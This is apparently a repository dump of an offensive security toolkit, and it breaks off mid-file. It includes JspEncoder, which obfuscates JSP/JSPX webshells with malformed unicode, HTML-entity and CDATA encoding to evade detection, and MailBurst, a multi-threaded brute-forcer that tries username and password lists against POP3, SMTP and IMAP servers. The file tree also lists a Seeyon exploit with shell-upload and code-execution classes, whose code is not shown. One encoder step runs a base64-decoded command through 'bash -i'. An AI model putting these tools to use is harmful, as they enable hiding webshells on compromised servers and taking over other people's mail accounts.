├── JspEncoder
    ├── README.md
    ├── pom.xml
    └── src
    │   └── main
    │       ├── java
    │           ├── cDataDecodeJspx.java
    │           ├── cDataEncodeJspx.java
    │           ├── classIn.java
    │           ├── classOut.java
    │           ├── decoderJsp.java
    │           ├── encoderJsp.java
    │           ├── htmlDecodeJspx.java
    │           ├── htmlEncodeJspx.java
    │           └── main.java
    │       └── resources
    │           └── META-INF
    │               └── MANIFEST.MF
├── MailBurst
    ├── MailBrust.py
    ├── README.md
    └── lib
    │   ├── __init__.py
    │   ├── __init__.pyc
    │   ├── __pycache__
    │       ├── __init__.cpython-38.pyc
    │       ├── imapBrust.cpython-38.pyc
    │       ├── imapsBrust.cpython-38.pyc
    │       ├── pop3Brust.cpython-38.pyc
    │       ├── pop3sBurst.cpython-38.pyc
    │       ├── smtpBurst.cpython-38.pyc
    │       └── smtpsBrust.cpython-38.pyc
    │   ├── imapBrust.py
    │   ├── imapsBrust.py
    │   ├── pop3Brust.py
    │   ├── pop3sBurst.py
    │   ├── smtpBurst.py
    │   └── smtpsBrust.py
├── PIC
    └── BkG.jpg
├── README.md
└── SeeyonExp
    ├── README.md
    ├── pom.xml
    ├── src
        ├── META-INF
        │   └── MANIFEST.MF
        └── main
        │   ├── META-INF
        │       └── MANIFEST.MF
        │   └── java
        │       ├── DataConf.java
        │       ├── Decoder.java
        │       ├── Encoder.java
        │       ├── ExecuteCode.java
        │       ├── ExpMain.java
        │       ├── HTTPClient.java
        │       ├── JsonRead.java
        │       ├── SSLClient.java
        │       ├── Scanner.java
        │       ├── UploadShell.java
        │       └── VersionRecognition.java
    └── vul.json


/JspEncoder/README.md:
--------------------------------------------------------------------------------
 1 | # JspEncoder
 2 | 
 3 | ### 0x00 开发日志
 4 | 
 5 | 2020-11-16 V0.2 支持Jspx下HTML、CDATA实体编码
 6 | 
 7 | 2020-11-6 V0.1 根据野外落地畸形unicode内存马判断编码方式，支持畸形unicode加解密
 8 | 
 9 | ### 0x01 使用方法
10 | 
11 | Jsp文件Unicode解码：java -jar JspEncoder.jar UniDe srcFile desFile
12 | 
13 | Jsp文件Unicode编码：java -jar JspEncoder.jar UniEn srcFile desFile
14 | 
15 | Jspx文件Html解码：java -jar JspEncoder.jar HtmlDe srcFile desFile
16 | 
17 | Jspx文件Html编码：java -jar JspEncoder.jar HtmlEn srcFile desFile
18 | 
19 | Jspx文件CDATA解码：java -jar JspEncoder.jar CdataDe srcFile desFile
20 | 
21 | Jspx文件CDATA编码：java -jar JspEncoder.jar CdataEn srcFile desFile
22 | 
23 | Base64文件输出为class文件：java -jar JspEncoder.jar ClassOut srcFile desFile
24 | 
25 | class文件输出为Base64文件：java -jar JspEncoder.jar ClassIn srcFile desFile
26 | 
27 | 使用参考：https://mp.weixin.qq.com/s/NKksirrM5Zg5BGCu4fY8LQ
28 | 
29 | ### 0x02 注意事项
30 | 
31 | 在进行Unicode编码时请去掉jsp文件的类声明和引入声明模块，否则jsp文件将无法运行
32 | 


--------------------------------------------------------------------------------
/JspEncoder/pom.xml:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="UTF-8"?>
 2 | <project xmlns="http://maven.apache.org/POM/4.0.0"
 3 |          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 4 |          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
 5 |     <modelVersion>4.0.0</modelVersion>
 6 | 
 7 |     <groupId>org.example</groupId>
 8 |     <artifactId>JspEncoder</artifactId>
 9 |     <version>1.0-SNAPSHOT</version>
10 |     <build>
11 |         <plugins>
12 |             <plugin>
13 |                 <groupId>org.apache.maven.plugins</groupId>
14 |                 <artifactId>maven-compiler-plugin</artifactId>
15 |                 <configuration>
16 |                     <source>8</source>
17 |                     <target>8</target>
18 |                 </configuration>
19 |             </plugin>
20 |         </plugins>
21 |     </build>
22 |     <dependencies>
23 |         <dependency>
24 |             <groupId>org.jdom</groupId>
25 |             <artifactId>jdom</artifactId>
26 |             <version>2.0.2</version>
27 |         </dependency>
28 |     </dependencies>
29 | 
30 | </project>


--------------------------------------------------------------------------------
/JspEncoder/src/main/java/cDataDecodeJspx.java:
--------------------------------------------------------------------------------
 1 | import java.io.*;
 2 | 
 3 | public class cDataDecodeJspx {
 4 |     public cDataDecodeJspx(String srcFile,String desFile) throws IOException {
 5 |         File fileIn = new File(srcFile);
 6 |         FileInputStream fis = new FileInputStream(fileIn);
 7 |         InputStreamReader streamReader = new InputStreamReader(fis);
 8 |         BufferedReader bufread = new BufferedReader(streamReader);
 9 |         String line;
10 |         StringBuilder strB = new StringBuilder();
11 |         while ((line = bufread.readLine())!=null){
12 |             strB.append(line);
13 |         }
14 |         streamReader.close();
15 |         bufread.close();
16 |         String strRes = String.valueOf(strB);
17 |         strRes = strRes.replaceAll("<!\\[CDATA\\[","");
18 |         strRes = strRes.replaceAll("]]>","");
19 |         File f = new File(desFile);
20 |         FileWriter writer = new FileWriter(f);
21 |         writer.write("");
22 |         writer.write(strRes);
23 |         writer.close();
24 |         System.out.println("目标文件输出至" + desFile);
25 |     }
26 | }
27 | 


--------------------------------------------------------------------------------
/JspEncoder/src/main/java/cDataEncodeJspx.java:
--------------------------------------------------------------------------------
 1 | import org.jdom2.Document;
 2 | import org.jdom2.Element;
 3 | import org.jdom2.JDOMException;
 4 | import org.jdom2.Namespace;
 5 | import org.jdom2.input.SAXBuilder;
 6 | import org.jdom2.output.XMLOutputter;
 7 | import org.xml.sax.InputSource;
 8 | 
 9 | import java.io.*;
10 | import java.util.List;
11 | 
12 | public class cDataEncodeJspx {
13 |     public cDataEncodeJspx(String srcFile,String desFile) throws IOException, JDOMException {
14 |         SAXBuilder sb = new SAXBuilder();
15 |         Document doc = sb.build(new FileInputStream(srcFile));
16 |         Element root = doc.getRootElement();
17 |         Namespace namespace = root.getNamespace();
18 |         List list = root.getChildren("scriptlet",namespace);
19 |         String result = "";
20 |         for (int i=0;i<list.size();i++){
21 |             Element element = (Element)list.get(i);
22 |             String context = element.getText();
23 |             for (int j=0;j < context.length();j++){
24 |                 char ch = context.charAt(j);
25 |                 result = result + "<![CDATA[" + ch + "]]>";
26 |             }
27 |             element.setText(result);
28 |         }
29 |         List list1 = root.getChildren("declaration",namespace);
30 |         result = "";
31 |         for (int i=0;i<list1.size();i++){
32 |             Element element = (Element)list1.get(i);
33 |             String context = element.getText();
34 |             for (int j=0;j < context.length();j++){
35 |                 char ch = context.charAt(j);
36 |                 result = result + "<![CDATA[" + ch + "]]>";
37 |             }
38 |             element.setText(result);
39 |         }
40 |         XMLOutputter outputter = new XMLOutputter();
41 |         outputter.output(doc,new FileOutputStream(desFile));
42 |         File fileIn = new File(desFile);
43 |         FileInputStream fis = new FileInputStream(fileIn);
44 |         InputStreamReader streamReader = new InputStreamReader(fis);
45 |         BufferedReader bufread = new BufferedReader(streamReader);
46 |         String line;
47 |         StringBuilder strB = new StringBuilder();
48 |         while ((line = bufread.readLine())!=null){
49 |             strB.append(line);
50 |         }
51 |         streamReader.close();
52 |         bufread.close();
53 |         String strRes = String.valueOf(strB);
54 |         strRes = strRes.replaceAll("&lt;","<");
55 |         strRes = strRes.replaceAll("&gt;",">");
56 |         File f = new File(desFile);
57 |         FileWriter writer = new FileWriter(f);
58 |         writer.write("");
59 |         writer.write(strRes);
60 |         writer.close();
61 |         System.out.println("[!]文件编码完成，已输出至" + desFile);
62 |     }
63 | }
64 | 


--------------------------------------------------------------------------------
/JspEncoder/src/main/java/classIn.java:
--------------------------------------------------------------------------------
 1 | import java.io.*;
 2 | import java.util.Base64;
 3 | 
 4 | public class classIn {
 5 |     public  classIn(String srcFile, String desFile) throws IOException, InterruptedException {
 6 |         if (System.getProperties().getProperty("os.name").startsWith("win")||System.getProperties().getProperty("os.name").startsWith("Win")){
 7 |             Runtime.getRuntime().exec("cmd /c" + "certutil -f -encode" + " " +srcFile + " " +desFile);
 8 |             Thread.sleep(3*1000);
 9 |             BufferedReader in = new BufferedReader(new FileReader(desFile));
10 |             String str = "";
11 |             String result = "";
12 |             while ((str = in.readLine())!=null){
13 |                 result = result + str;
14 |             }
15 |             in.close();
16 |             result = result.replaceAll("\\\\r","");
17 |             result = result.replaceAll("\\\\n","");
18 |             result = result.replace("-----BEGIN CERTIFICATE-----","");
19 |             result = result.replace("-----END CERTIFICATE-----","");
20 |             File file = new File(desFile);
21 |             FileWriter fileWriter = new FileWriter(file);
22 |             BufferedWriter bw = new BufferedWriter(fileWriter);
23 |             bw.write(result);
24 |             bw.close();
25 |             fileWriter.close();
26 |             System.out.println("[!]文件已base64编码到" + desFile);
27 |         }else {
28 |             String execString = "cat " + srcFile +" |base64 >" +desFile;
29 |             byte[] execByte = execString.getBytes();
30 |             String execBase = Base64.getEncoder().encodeToString(execByte);
31 |             Runtime.getRuntime().exec("bash -c {echo," + execBase.trim()+ "}|{base64,-d}|{bash,-i}");
32 |             System.out.println("[!]文件已base64编码到" + desFile);
33 |         }
34 |     }
35 | }
36 | 


--------------------------------------------------------------------------------
/JspEncoder/src/main/java/classOut.java:
--------------------------------------------------------------------------------
 1 | import java.io.*;
 2 | import java.lang.reflect.InvocationTargetException;
 3 | 
 4 | class classOut {
 5 |     public classOut(String srcFile,String desFile) throws ClassNotFoundException, NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException {
 6 |         FileInputStream fis = new FileInputStream(srcFile);  //文件输入流
 7 |         InputStreamReader isr = new InputStreamReader(fis);   //输入流读取器
 8 |         BufferedReader br = new BufferedReader(isr);
 9 |         String line = "";
10 |         String text = "";
11 |         while ((line = br.readLine())!= null){
12 |             text = text + line;
13 |         }
14 |         ClassLoader clzLoader = Thread.currentThread().getContextClassLoader();
15 |         byte[] bytecode = null;
16 |         Class base64Clz = clzLoader.loadClass("java.util.Base64");
17 |         Class decoderClz = clzLoader.loadClass("java.util.Base64$Decoder");
18 |         Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
19 |         bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, text);
20 |         OutputStream out = new FileOutputStream(desFile);
21 |         InputStream is = new ByteArrayInputStream(bytecode);
22 |         byte[] buff = new byte[1024];
23 |         int len = 0;
24 |         while ((len = is.read(buff)) != -1){
25 |             out.write(buff,0,len);
26 |         }
27 |         is.close();
28 |         out.close();
29 |         System.out.println("[!]Class文件已输出至" + desFile);
30 |     }
31 | 
32 | }
33 | 


--------------------------------------------------------------------------------
/JspEncoder/src/main/java/decoderJsp.java:
--------------------------------------------------------------------------------
 1 | import java.io.*;
 2 | import java.math.BigInteger;
 3 | public class decoderJsp {
 4 |     public decoderJsp(String srcFile, String desFile) throws IOException {
 5 |         FileInputStream fis = new FileInputStream(srcFile);  //文件输入流
 6 |         InputStreamReader isr = new InputStreamReader(fis);   //输入流读取器
 7 |         BufferedReader br = new BufferedReader(isr);
 8 |         String line = "";
 9 |         String text = "";
10 |         while ((line = br.readLine())!= null){
11 |             text = text + line;
12 |         }
13 |         String regex = "\\\\u+";
14 |         String result = text.replaceAll(regex,"\\\\u");
15 |         String[] split = result.split("\\\\u");
16 |         String result1 = "";
17 |         for (int i=0;i<split.length;i++){
18 |             if(split[i].length()<4){
19 |                 result1 = result1 + split[i];
20 |             }else {
21 |                  int headerInt = Integer.parseInt(new BigInteger(split[i].substring(0,4),16).toString());
22 |                  char splitHeader = (char)headerInt;
23 |                  String splitFooter = split[i].substring(4);
24 |                  result1 = result1 + splitHeader+splitFooter;
25 |             }
26 |         }
27 |         FileWriter writer = new FileWriter(desFile);
28 |         writer.write("");
29 |         writer.write(result1);
30 |         writer.flush();
31 |         writer.close();
32 |         System.out.println("目标文件已输出至" + desFile);
33 |     }
34 | }
35 | 


--------------------------------------------------------------------------------
/JspEncoder/src/main/java/encoderJsp.java:
--------------------------------------------------------------------------------
 1 | import java.io.*;
 2 | 
 3 | public class encoderJsp {
 4 |     public encoderJsp(String srcFile, String desFile) throws IOException {
 5 |         FileInputStream fis = new FileInputStream(srcFile);  //文件输入流
 6 |         InputStreamReader isr = new InputStreamReader(fis);   //输入流读取器
 7 |         BufferedReader br = new BufferedReader(isr);         //字符流读取器
 8 |         String line = "";
 9 |         String text = "";
10 |         while ((line = br.readLine())!= null){
11 |             text += line;
12 |         }
13 |         String subString = text.substring(2,text.length()-2);
14 |         char[] charArray = subString.toCharArray();
15 |         String result = "<%";
16 |         for (int i=0;i<charArray.length;i++){
17 |             if (i==0 || i%8 == 0){
18 |                     String firstHex = Integer.toHexString(charArray[i]);
19 |                     if (firstHex.length()==2){
20 |                         firstHex = "00" + firstHex;
21 |                         result = result + "\\uu" + firstHex;
22 |                 }
23 |             }else if ((i%8 != 0) && (i%9 == 0)){
24 |                     String nineHex = Integer.toHexString(charArray[i]);
25 |                     if (nineHex.length() == 2) {
26 |                         nineHex = "00" + nineHex;
27 |                         result = result + "\\uuu" + nineHex;
28 |                 }
29 |             }else if ((i != 0) && (i%8 != 0) && (i%9 != 0) && (i%55 == 0)){
30 |                     result = result + charArray[i];
31 |             } else{
32 |                     String elseHex = Integer.toHexString(charArray[i]);
33 |                     if (elseHex.length() == 2) {
34 |                         elseHex = "00" + elseHex;
35 |                         result = result + "\\u" + elseHex;
36 |                   }
37 |             }
38 |         }
39 |         result = result + "%>";
40 |         FileWriter writer = new FileWriter(desFile);
41 |         writer.write("");
42 |         writer.write(result);
43 |         writer.flush();
44 |         writer.close();
45 |         System.out.println("[!]文件编码完成，已输出至" + desFile);
46 |     }
47 | }
48 | 


--------------------------------------------------------------------------------
/JspEncoder/src/main/java/htmlDecodeJspx.java:
--------------------------------------------------------------------------------
 1 | import java.io.*;
 2 | 
 3 | public class htmlDecodeJspx {
 4 |     public htmlDecodeJspx(String srcFile,String desFile) throws IOException {
 5 |         File fileIn = new File(srcFile);
 6 |         FileInputStream fis = new FileInputStream(fileIn);
 7 |         InputStreamReader streamReader = new InputStreamReader(fis);
 8 |         BufferedReader bufread = new BufferedReader(streamReader);
 9 |         String line;
10 |         StringBuilder strB = new StringBuilder();
11 |         while ((line = bufread.readLine())!=null){
12 |             strB.append(line);
13 |         }
14 |         streamReader.close();
15 |         bufread.close();
16 |         String strRes = String.valueOf(strB);
17 |         String result = "";
18 |         String nowStr = "";
19 |         String[] valueArray = strRes.split("&");
20 |         for (int i=0;i<valueArray.length;i++){
21 |             if (valueArray[i].startsWith("#x")){
22 |                 if (valueArray[i].length()==5){
23 |                     nowStr = valueArray[i];
24 |                     nowStr = nowStr.substring(2,4);
25 |                     int num = Integer.parseInt(nowStr,16);
26 |                     char ch = (char)num;
27 |                     result = result + ch;
28 |                 }else {
29 |                     nowStr = valueArray[i];
30 |                     nowStr = nowStr.substring(2,4);
31 |                     int num = Integer.parseInt(nowStr,16);
32 |                     char ch = (char)num;
33 |                     //System.out.println(valueArray[i].length());
34 |                     result = result + ch + valueArray[i].substring(4);
35 |                 }
36 |             } else {
37 |                 result = result + valueArray[i];
38 |             }
39 |         }
40 |         File f = new File(desFile);
41 |         FileWriter writer = new FileWriter(f);
42 |         writer.write("");
43 |         writer.write(result);
44 |         writer.close();
45 |         System.out.println("目标文件已输出至" + desFile);
46 |     }
47 | }
48 | 


--------------------------------------------------------------------------------
/JspEncoder/src/main/java/htmlEncodeJspx.java:
--------------------------------------------------------------------------------
 1 | import org.jdom2.Document;
 2 | import org.jdom2.Element;
 3 | import org.jdom2.JDOMException;
 4 | import org.jdom2.Namespace;
 5 | import org.jdom2.input.SAXBuilder;
 6 | import org.jdom2.output.XMLOutputter;
 7 | 
 8 | import java.io.*;
 9 | import java.util.List;
10 | 
11 | public class htmlEncodeJspx {
12 |     public htmlEncodeJspx(String srcFile, String desFile) throws JDOMException, IOException {
13 |         SAXBuilder sb = new SAXBuilder();
14 |         Document doc = sb.build(new FileInputStream(srcFile));
15 |         Element root = doc.getRootElement();
16 |         Namespace namespace = root.getNamespace();
17 |         List list = root.getChildren("scriptlet",namespace);
18 |         String result = "";
19 |         for (int i=0;i<list.size();i++){
20 |             Element element = (Element)list.get(i);
21 |             String context = element.getText();
22 |             for (int j=0;j < context.length();j++){
23 |                 int ch = (int)context.charAt(j);
24 |                 String chHex = Integer.toHexString(ch);
25 |                 result = result + "&#x" + chHex + ";";
26 |             }
27 |             element.setText(result);
28 |         }
29 |         List list1 = root.getChildren("declaration",namespace);
30 |         result = "";
31 |         for (int i=0;i<list1.size();i++){
32 |             Element element = (Element)list1.get(i);
33 |             String context = element.getText();
34 |             for (int j=0;j < context.length();j++){
35 |                 int ch = (int)context.charAt(j);
36 |                 String chHex = Integer.toHexString(ch);
37 |                 result = result + "&#x" + chHex + ";";
38 |             }
39 |             element.setText(result);
40 |         }
41 |         XMLOutputter outputter = new XMLOutputter();
42 |         outputter.output(doc,new FileOutputStream(desFile));
43 |         File fileIn = new File(desFile);
44 |         FileInputStream fis = new FileInputStream(fileIn);
45 |         InputStreamReader streamReader = new InputStreamReader(fis);
46 |         BufferedReader bufread = new BufferedReader(streamReader);
47 |         String line;
48 |         StringBuilder strB = new StringBuilder();
49 |         while ((line = bufread.readLine())!=null){
50 |             strB.append(line);
51 |         }
52 |         streamReader.close();
53 |         bufread.close();
54 |         String strRes = String.valueOf(strB);
55 |         strRes = strRes.replaceAll("&amp;","&");
56 |         File f = new File(desFile);
57 |         FileWriter writer = new FileWriter(f);
58 |         writer.write("");
59 |         writer.write(strRes);
60 |         writer.close();
61 |         System.out.println("[!]文件编码完成，已输出至" + desFile);
62 |     }
63 | }
64 | 


--------------------------------------------------------------------------------
/JspEncoder/src/main/java/main.java:
--------------------------------------------------------------------------------
 1 | import org.jdom2.JDOMException;
 2 | 
 3 | import java.io.IOException;
 4 | import java.lang.reflect.InvocationTargetException;
 5 | 
 6 | public class main {
 7 |     public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, JDOMException, InterruptedException {
 8 |       System.out.println("" +
 9 |                   "[*]工具使用：\n" +
10 |                   "[*]JSP文件Unicode解码：java -jar toolName UniDe srcFile desFile\n" +
11 |                   "[*]JSP文件Unicode编码：java -jar toolName UniEn srcFile desFile\n" +
12 |                   "[*]JSPX文件Html解码：java -jar toolName HtmlDe srcFile desFile\n" +
13 |                   "[*]JSPX文件Html编码：java -jar toolName HtmlEn srcFile desFile\n" +
14 |                   "[*]JSPX文件CDATA解码：java -jar toolName CdataDe srcFile desFile\n" +
15 |                   "[*]JSPX文件CDATA编码：java -jar toolName CdataEn srcFile desFile\n" +
16 |                   "[*]Base64解码为字节码并输出为class文件：java -jar toolName classOut srcFile desFile\n" +
17 |                   "[*]Class文件编码为Base64：java -jar toolName classIn srcFile desFile\n" +
18 |                   "[*]Please enjoy it!");
19 |       if (args[0].equals("UniDe")){
20 |           decoderJsp decoder = new decoderJsp(args[1],args[2]);
21 |       }else if (args[0].equals("UniEn")){
22 |           encoderJsp encoder = new encoderJsp(args[1],args[2]);
23 |       }else if (args[0].equals("classOut")){
24 |           classOut clo = new classOut(args[1],args[2]);
25 |       }else if (args[0].equals("classIn")){
26 |           classIn cli = new classIn(args[1],args[2]);
27 |       }else if(args[0].equals("HtmlEn")){
28 |           htmlEncodeJspx htmlEncodeJspx = new htmlEncodeJspx(args[1],args[2]);
29 |       }else if(args[0].equals("HtmlDe")){
30 |           htmlDecodeJspx htmlDecodeJspx = new htmlDecodeJspx(args[1],args[2]);
31 |       }else if(args[0].equals("CdataEn")){
32 |           cDataEncodeJspx cDataEncodeJspx = new cDataEncodeJspx(args[1],args[2]);
33 |       }else if(args[0].equals("CdataDe")){
34 |           cDataDecodeJspx cDataDecodeJspx = new cDataDecodeJspx(args[1],args[2]);
35 |       }else {
36 |           System.out.println("[!]命令格式错误，请重新输入!");
37 |       }
38 |     }
39 | }
40 | 
41 | 


--------------------------------------------------------------------------------
/JspEncoder/src/main/resources/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: main
3 | 
4 | 


--------------------------------------------------------------------------------
/MailBurst/MailBrust.py:
--------------------------------------------------------------------------------
 1 | # -*- coding: UTF-8 -*-
 2 | import sys
 3 | import os
 4 | from lib import imapBrust, imapsBrust, pop3Brust, pop3sBurst, smtpBurst, smtpsBrust
 5 | 
 6 | def start():
 7 |     if len(sys.argv) < 4:
 8 |         print("\n\t      邮件暴破脚本1.2 支持协议POP3、SMTP、IMAP、POP3S、SMTPS、IMAPS协议")
 9 |         print("\n\t      新增功能：异步机制")
10 |         print("\n\t      必须参数为:<mailaddr> <protocol type=POP3/SMTP/IMAP/POP3S/SMTPS/IMAPS> <userlist> <passwordlist> 可选参数为:<protocol port>")
11 |         print("\n\t      暴破格式：python MailBrust.py pop.qq.com POP3 username.txt password.txt 110")
12 |         print("\n\t      最后的端口参数取决于邮箱服务器，110为任意端口值，可以进行修改")
13 |         sys.exit(1)
14 |     protocolDict = {'POP3': 110, 'SMTP': 25, 'IMAP': 143, 'POP3S': 995, 'SMTPS': 465, 'IMAPS': 993}
15 |     mailAddr = sys.argv[1]
16 |     mailProt = sys.argv[2]
17 |     mailPort = protocolDict[mailProt]
18 |     if len(sys.argv) == 6:
19 |         mailPort = int(sys.argv[5])
20 |     try:
21 |         userLines = open(sys.argv[3], "r").readlines()
22 |     except(IOError):
23 |         print("[-]错误信息:请检查文件路径\n")
24 |     try:
25 |         passLines = open(sys.argv[4], "r").readlines()
26 |     except(IOError):
27 |         print("[-]错误信息:请检查文件路径\n")
28 |     if sys.argv[2] == "POP3":
29 |         pop3Thread = pop3Brust.pop3Brust(mailAddr, mailPort, userLines, passLines)
30 |         pop3Thread.start()
31 |         pop3Thread.join()
32 |         print("[-]提示信息:破解完毕")
33 |     if sys.argv[2] == "POP3S":
34 |         pop3sThread = pop3sBurst.pop3sBrust(mailAddr, mailPort, userLines, passLines)
35 |         pop3sThread.start()
36 |         pop3sThread.join()
37 |         print("[-]提示信息:破解完毕")
38 |     if sys.argv[2] == "SMTP":
39 |         smtpThread = smtpBurst.smtpBurst(mailAddr, mailPort, userLines, passLines)
40 |         smtpThread.start()
41 |         smtpThread.join()
42 |         print("[-]提示信息:破解完毕")
43 |     if sys.argv[2] == "SMTPS":
44 |         smtpsThread = smtpsBrust.smtpsBurst(mailAddr, mailPort, userLines, passLines)
45 |         smtpsThread.start()
46 |         smtpsThread.join()
47 |         print("[-]提示信息:破解完毕")
48 |     if sys.argv[2] == "IMAP":
49 |         imapThread = imapBrust.imapBrust(mailAddr, mailPort, userLines, passLines)
50 |         imapThread.start()
51 |         imapThread.join()
52 |         print("[-]提示信息:破解完毕")
53 |     if sys.argv[2] == "IMAPS":
54 |         imapsThread = imapsBrust.imapsBrust(mailAddr, mailPort, userLines, passLines)
55 |         imapsThread.start()
56 |         imapsThread.join()
57 |         print("[-]提示信息:破解完毕")
58 | if __name__ == '__main__':
59 |     start()


--------------------------------------------------------------------------------
/MailBurst/README.md:
--------------------------------------------------------------------------------
 1 | # MailBrust
 2 | 
 3 | ### 0x00 开发日志
 4 | 
 5 | 2020-8-13 V0.2 增加多线程异步
 6 | 
 7 | 2020-8-11 V0.1 单线程全协议邮箱用户名密码暴力破解
 8 | 
 9 | ### 0x01 使用方法
10 | 
11 | POP3协议暴力破解：python MailBrust.py xxx.com POP3 username.txt password.txt 
12 | 
13 | POP3S协议暴力破解：python MailBrust.py xxx.com POP3S username.txt password.txt 
14 | 
15 | SMTP协议暴力破解：python MailBrust.py xxx.com SMTP username.txt password.txt 
16 | 
17 | SMTPS协议暴力破解：python MailBrust.py xxx.com SMTPS username.txt password.txt 
18 | 
19 | IMAP协议暴力破解：python MailBrust.py xxx.com IMAP username.txt password.txt 
20 | 
21 | IMAPS协议暴力破解：python MailBrust.py xxx.com IMAPS username.txt password.txt 
22 | 
23 | 使用参考：https://mp.weixin.qq.com/s/NKksirrM5Zg5BGCu4fY8LQ
24 | 


--------------------------------------------------------------------------------
/MailBurst/lib/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TimelineSec/ATTCK-Tools-library/b500087c3b5092f1632169e574366b7cd9a86902/MailBurst/lib/__init__.py


--------------------------------------------------------------------------------
/MailBurst/lib/__init__.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TimelineSec/ATTCK-Tools-library/b500087c3b5092f1632169e574366b7cd9a86902/MailBurst/lib/__init__.pyc


--------------------------------------------------------------------------------
/MailBurst/lib/__pycache__/__init__.cpython-38.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TimelineSec/ATTCK-Tools-library/b500087c3b5092f1632169e574366b7cd9a86902/MailBurst/lib/__pycache__/__init__.cpython-38.pyc


--------------------------------------------------------------------------------
/MailBurst/lib/__pycache__/imapBrust.cpython-38.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TimelineSec/ATTCK-Tools-library/b500087c3b5092f1632169e574366b7cd9a86902/MailBurst/lib/__pycache__/imapBrust.cpython-38.pyc


--------------------------------------------------------------------------------
/MailBurst/lib/__pycache__/imapsBrust.cpython-38.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TimelineSec/ATTCK-Tools-library/b500087c3b5092f1632169e574366b7cd9a86902/MailBurst/lib/__pycache__/imapsBrust.cpython-38.pyc


--------------------------------------------------------------------------------
/MailBurst/lib/__pycache__/pop3Brust.cpython-38.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TimelineSec/ATTCK-Tools-library/b500087c3b5092f1632169e574366b7cd9a86902/MailBurst/lib/__pycache__/pop3Brust.cpython-38.pyc


--------------------------------------------------------------------------------
/MailBurst/lib/__pycache__/pop3sBurst.cpython-38.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TimelineSec/ATTCK-Tools-library/b500087c3b5092f1632169e574366b7cd9a86902/MailBurst/lib/__pycache__/pop3sBurst.cpython-38.pyc


--------------------------------------------------------------------------------
/MailBurst/lib/__pycache__/smtpBurst.cpython-38.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TimelineSec/ATTCK-Tools-library/b500087c3b5092f1632169e574366b7cd9a86902/MailBurst/lib/__pycache__/smtpBurst.cpython-38.pyc


--------------------------------------------------------------------------------
/MailBurst/lib/__pycache__/smtpsBrust.cpython-38.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TimelineSec/ATTCK-Tools-library/b500087c3b5092f1632169e574366b7cd9a86902/MailBurst/lib/__pycache__/smtpsBrust.cpython-38.pyc


--------------------------------------------------------------------------------
/MailBurst/lib/imapBrust.py:
--------------------------------------------------------------------------------
 1 | # -*- coding: utf-8 -*-
 2 | import imaplib
 3 | import threading
 4 | import asyncio
 5 | 
 6 | class imapBrust(threading.Thread):
 7 |     def __init__(self,mailAddr, mailPort, userLines,passLines):
 8 |         threading.Thread.__init__(self)
 9 |         self.mailAddr = mailAddr
10 |         self.mailPort = mailPort
11 |         self.userLines = userLines
12 |         self.passLines = passLines
13 |     def run(self):
14 |         try:
15 |             imaplib.IMAP4(self.mailAddr, self.mailPort)
16 |         except:
17 |             print("[-]错误信息:服务器错误！")
18 |             return 1
19 |         if len(self.userLines) < 1 or len(self.passLines) < 1:
20 |             print("[-]错误信息:字典文件中无内容，请检查！")
21 |             return 1
22 |         for index in range(len(self.userLines)):
23 |             for i in range(len(self.passLines)):
24 |                 threadLock.acquire()
25 |                 loop.run_until_complete(login(self.mailAddr,self.mailPort, self.userLines[index],self.passLines[i]))
26 |                 threadLock.release()
27 |                 continue
28 | async def login(mailAddr,mailPort,username,password):
29 |     try:
30 |         username = username.replace("\n", "")
31 |         password = password.replace("\n", "")
32 |         imapServer = imaplib.IMAP4(mailAddr, mailPort)
33 |         imapServer.login(username, password)
34 |         print("[-]密码正确" + "账户名:" + username + "密码:" + password)
35 |     except:
36 |         try:
37 |             username = username.replace("\n", "")
38 |             password = password.replace("\n", "")
39 |             imapServer = await imaplib.IMAP4(mailAddr, mailPort)
40 |             imapServer.login_cram_md5(username, password)
41 |             print("[-]密码正确" + "账户名:" + username + "密码:" + password)
42 |         except:
43 |             print("[-]错误信息:密码错误!")
44 | threadLock = threading.Lock()
45 | loop = asyncio.get_event_loop()


--------------------------------------------------------------------------------
/MailBurst/lib/imapsBrust.py:
--------------------------------------------------------------------------------
 1 | # -*- coding: utf-8 -*-
 2 | import imaplib
 3 | import threading
 4 | import asyncio
 5 | 
 6 | class imapsBrust(threading.Thread):
 7 |     def __init__(self,mailAddr, mailPort, userLines, passLines):
 8 |         threading.Thread.__init__(self)
 9 |         self.mailAddr = mailAddr
10 |         self.mailPort = mailPort
11 |         self.userLines = userLines
12 |         self.passLines = passLines
13 |     def run(self):
14 |         try:
15 |             imaplib.IMAP4_SSL(self.mailAddr, self.mailPort)
16 |         except:
17 |             print("[-]错误信息:服务器错误！")
18 |             return 1
19 |         if len(self.userLines) < 1 or len(self.passLines) < 1:
20 |             print("[-]错误信息:字典文件中无内容，请检查！")
21 |             return 1
22 |         for index in range(len(self.userLines)):
23 |             for i in range(len(self.passLines)):
24 |                 threadLock.acquire()
25 |                 loop.run_until_complete(login(self.mailAddr,self.mailPort, self.userLines[index], self.passLines[i]))
26 |                 threadLock.release()
27 |                 continue
28 | async def login(mailAddr,mailPort,username,password):
29 |     try:
30 |         username = username.replace("\n", "")
31 |         password = password.replace("\n", "")
32 |         imapServer = imaplib.IMAP4_SSL(mailAddr, mailPort)
33 |         imapServer.login(username, password)
34 |         print("[-]密码正确" + "账户名:" + username + "密码:" + password)
35 |     except:
36 |         try:
37 |             username = username.replace("\n", "")
38 |             password = password.replace("\n", "")
39 |             imapServer = await imaplib.IMAP4_SSL(mailAddr, mailPort)
